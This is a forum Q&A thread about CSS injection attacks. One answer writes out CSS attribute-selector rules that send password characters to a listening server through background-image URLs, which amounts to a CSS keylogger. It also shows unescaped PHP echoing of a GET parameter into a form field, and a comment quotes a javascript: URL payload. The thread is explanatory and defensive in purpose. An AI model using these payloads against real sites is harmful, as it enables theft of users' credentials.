What would CSS Injection Attacks be? Does CSS have security holes?

Asked

Viewed 567 times

15

I was reading a documentation from Mozilla and came across this term CSS Injection Attacks

I tried to do some research, but I couldn’t get any information that would make it clear what this type of attack is. But I was a little curious, because I had never heard of vulnerabilities in CSS!

  • That kind of attack CSS Injection Attacks is something really worrying?
  • Is there any test I can do to see if I’m vulnerable?
  • Is there any way I can prevent that kind of attack or make sure I don’t suffer that kind of attack?

Source where I saw the term: https://developer.mozilla.org/en-US/docs/Web/CSS/@Document

  • Good question. I’ve never seen that term before either. Does it have anything to do with XSS?

  • XSS is something related to cross script? If it is I think it can have to do yes... I am very lay in this area, but I was very curious! But since I no longer understand this type of subject and the little that I found was still in English, it became difficult to really understand what it is and what the technique is. I was wondering if the browser itself is monitoring and blocks this, or what kind of care we should take. I thought it would be nice to bring the topic to the community and see if anyone has any knowledge to give us some tips :)

  • The famous Myspace Worm was an injection of code attack by CSS, wasn’t it? Sammy even describes how the code works on the https://samy.pl/myspace/tech.htmlwebsite

  • XSS is the same as cross-site-scripting. : ) I found a slightly interesting article about css Injection. I’ll try to do more research and maybe try to come up with an answer. :))

  • @Luizfelipe cool young, if you can bring a didactic response to who is not much of the area would be interesting. This link that Andre mentioned is very interesting! I was faced with this <div style="background:url('javascript:alert(1)')"> and that’s just the first step of the 11 that he describes there. Very interesting indeed!

2 answers

12

CSS Injection is rather an attack that can sometimes become worrisome, but it depends a lot on your application, usually applications like Wordpress in which allows the user to insert their own CSS is more vulnerable to this type of attack, the most common to see is using the CSS background, you may have noticed that it uses the parameter url it is possible to add an external URL in this style. With this possibility it is possible to hookar keystroke events and create a style for each keystroke an example.

If you have a form with a input which contains a password:

<input type="password" />

It would be possible in this way, the attacker inject a CSS that hooka this event, thus remaining:

input[type="password"][value$="a"] { background-image: url("http://localhost:3000/a"); }

input[type="password"][value$="b"] { background-image: url("http://localhost:3000/b"); }

You adding a server that listens to these requests would be possible to know which key to was pressed, just as the key would be possible b, c and so on, it’s laborious but it’s completely possible to create a keylogger in CSS. It is also possible to insert a Javascript among other options. If you want to analyze one in a keylogger CSS, see this link.

Edited

To clarify the comments, you would rather need something to trigger the event, in case a Javascript itself, but what I wanted to pass here was the idea of CSS. With the Javascript code added would work the keylogger, but it is notorious that the fault is not occurred by Javascript but by the CSS URL:

const inp = document.querySelector("input");
inp.addEventListener("keyup", (e) => {
  inp.setAttribute('value', inp.value)
});

And even if Javascript is not added, it would be possible to capture the data, not acting as a keylogger exactly, but still working, because even if the CSS does not work as a Systener, there are still forms that are filled in values by PHP, an example that still occurs today:

<form>
  <input type="login" value="<?php echo $_GET['login']; ?>" />
</form>

You might also have noticed that he will only take the last letter. But the point here is that it is possible to pick up what you typed, even if it is not the whole word.

  • Actually it’s not quite "key 'a' was presisonothing", since the CSS does not detect changes in the attribute value, only if explicitly placed in the element, for example when a user has been logged out of a website, but the site already automatically fills in your user in the form: <input ... value="valor" />. Take an example here.

  • @Luizfelipe I had already asked a question and CSS doesn’t really "update" the value in the DOM, so much so that I can’t style an input depending on the value that was typed, EX: If the user writes "yes" inside the input I can’t put a green border on it, because CSS does not update the value of value... Just as it doesn’t remove the value that was already in it when the gift rendered... https://answall.com/questions/349018/%C3%89-poss%C3%Advel-use-the-value-of-input-as-selector-css But Anderson, thank you for your contribution!

  • @Luizfelipe css doesn’t work as a programming language and I know it, it doesn’t have a Systener or something like that, the idea was to pass the css that shows where something can be injected into it, if it is necessary to add the js I add. But it is worth noting that it is possible to insert things in the background url that is the main focus of the answer

-5

Seriously, I wouldn’t worry about CSS Injection, that’s not new, it’s been fixed several times so it’s become a kind of Injection where you need the sum of primary errors by the programmer/webdesigner, so my tip is, forget it, that’s rarity.

  • 7

    If it depends on the primary errors of the programmer/designer, worrying about it is precisely to avoid these errors. I found your statements somewhat contradictory, because I wouldn’t need to be careful with this only if care has been taken before and problems avoided.

Browser other questions tagged

You are not signed in. Login or sign up in order to post.